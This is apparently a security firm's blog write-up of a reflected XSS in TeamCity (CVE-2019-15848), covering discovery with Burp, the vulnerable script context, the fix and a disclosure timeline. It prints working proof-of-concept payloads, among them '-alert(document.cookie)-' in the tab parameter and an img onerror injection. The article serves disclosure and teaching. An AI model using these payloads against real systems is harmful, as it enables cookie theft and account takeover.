How we came about the TeamCity XSS: CVE-2019-15848

On a recent client engagement, we were challenged to gain access to their private CI server. The CI server suffered from a security misconfiguration, and we were able to gain access. This was already a success, but we wanted to show more impact.

We started looking around the client’s TeamCity instance to see how we could increase the impact of the issue. While manually crawling the site, with Burp open in the background, Burp popped a DOM-based XSS issue. This is generally a false positive, but we had a look anyway.

This is where the fun began.

The analysis BurpSuite produced was the following:

Data is read from location.href and passed to jQuery.html

The following value was injected into the source: 

https://teamcity.jetbrains.com/project.html?projectId=ja21ikln4q%27%22`'”/ja21ikln4q/><ja21ikln4q/\>eqoajxnqdk&cb_Root&fromExperimentalUI=ja21ikln4q%27%22`'”/ja21ikln4q/><ja21ikln4q/\>eqoajxnqdk&true&tab=ja21ikln4q%27%22`'”/ja21ikln4q/><ja21ikln4q/\>eqoajxnqdk&stats 

 

The previous value reached the sink as: 

<div class=”selected project”data-projectId=”cb_Root” data-parentId=”_Root”><span class=”contentWrapper “><span class=”iWrapper”><span class=”icon_45c SvgIcon__icon–3t ProjectOrBuildTypeIcon__icon–2o projectOrBuildTypeIcon hasSiblings”><svg xmlns=”http://www.w3.org/2000/svg” width=”20″ height=”20″ viewBox=”0 0 20 20″ class=”glyph_1f4″><path d=”M2 9h7V2H2zm2-5h3v3H4zm7-2v7h7V2zm5 5h-3V4h3zM2 18h7v-7H2zm2-5h3v3H4zm7 5h7v-7h-7zm2-5h3v3h-3z”></path></svg></span><span class=”icon_45c SvgIcon__icon–3t ProjectOrBuildTypeIcon__icon–2o projectOrBuildTypeIcon hasSiblings ProjectOrBuildTypeIcon__arrow–26 projectOrBuildTypeIcon_arrow”><svg xmlns=”http://www.w3.org/2000/svg” width=”20″ height=”20″ viewBox=”0 0 20 20″ class=”glyph_1f4″><path d=”M2 9h7V2H2zm2-5h3v3H4zm6 7l5 8 5-8zm8-9h-7v7h7zm-2 5h-3V4h3zM2 18h7v-7H2zm2-5h3v3H4z”></path></svg></span></span><a href=’https://teamcity.jetbrains.com/project.html?projectId=ja21ikln4q%27%22`'”/ja21ikln4q/><ja21ikln4q/\>eqoajxnqdk&cb_Root&fromExperimentalUI=ja21ikln4q%27%22`'”/ja21ikln4q/><ja21ikln4q/\>eqoajxnqdk&true&stats&projectId=cb_Root’>teamcity.codebetter.com </a></span></div> 

 

…snip…

 

The following proof of concept was generated for this issue: 

https://teamcity.jetbrains.com/project.html?projectId='”><img src=1 onerror=alert(1)>cb_Root&fromExperimentalUI='”><img src=1 onerror=alert(1)>true&tab='”><img src=1 onerror=alert(1)>stats

I tried the POC, it didn’t work, and it returned a 404.

Let us try and get a working URL, and see if any injections are reflected. A working URL looks like:

https://teamcity.jetbrains.com/project.html?projectId=cb_Root&fromExperimentalUI=true&tab=stats

I tried injecting payloads I could easily search for in the DOM, like “xINJECTx”, into each query string parameter.

For the “tab” parameter, I found that my payload was reflected in the page inside a JavaScript context. This means my “xINJECTx” was inside script tags when the page was rendered. I sent the request “https://teamcity.jetbrains.com/overview.html?tab=xINJECTx” and was returned:

 

<script>

    ReactUI.renderConnected(‘open_in_experimental_ui’, ReactUI.OpenInExperimentalUI, {

      

      tab: ‘xINJECTx’

    });

  </script>

 

This has the potential of a reflected XSS!

I tried the URL “https://teamcity.jetbrains.com/overview.html?tab=’-alert(document.cookie)-‘” and the payload:

 

‘-alert(document.cookie)-‘

 

And was met with the following page:

Jackpot!

This means our injection is returned to the browser, where the payload executes. This can lead to many outcomes, some of which have high impact, including the potential to steal CSRF tokens, which can lead to account takeover. The injection was found to work on 4 pages in total.

Another researcher found the same XSS independently of us, and was able to show more impact by proving they were able to gain remote command execution.

The issue was also valid on the open source TeamCity instance, so the examples above are all based on that instead of the private client data.

We disclosed the issue privately to Jetbrains, and they promptly created a fix. The XSS affects versions 2019.1 and 2019.1.1 of TeamCity and is fixed in version 2019.1.2.

The fixed script snippet looks like:

<script>
ReactUI.renderConnected(‘open_in_experimental_ui’, ReactUI.OpenInExperimentalUI, {
    favoriteBuilds: true,
    tab: ReactUI.queryToObject(location.search).tab
});
</script>

This safely accepts input from the tab query string parameter.

How to Fix

Always dig a little deeper to see how we can increase the impact of our findings.

In general, the key to fixing XSS in any form, is to apply the proper encoding to the output before being rendered in a browser. In this case, the fix was to remove the reflected payload, and access the query string value in a safe way. This is a better approach in this case, as user input is no longer reflected onto the page. For detailed XSS mitigation techniques visit our post on practical mitigation techniques.

Timeline

July 16, 2019 – Found reflected XSS issue

July 17, 2019 – Reported reflected XSS issue

July 18, 2019 – Issue updated to fixed

July 19, 2019 – Issue verified as fixed

July 31, 2019 – TeamCity 2019.1.2 released

September 26, 2019 – Quarterly Security Bulletin released describing security issues

Note:

Another researcher found the same XSS independently of us, and was able to show more impact by proving they were able to gain remote command execution. https://twitter.com/JLLeitschuh/status/1169332316612644864?s=20

Was this article helpful?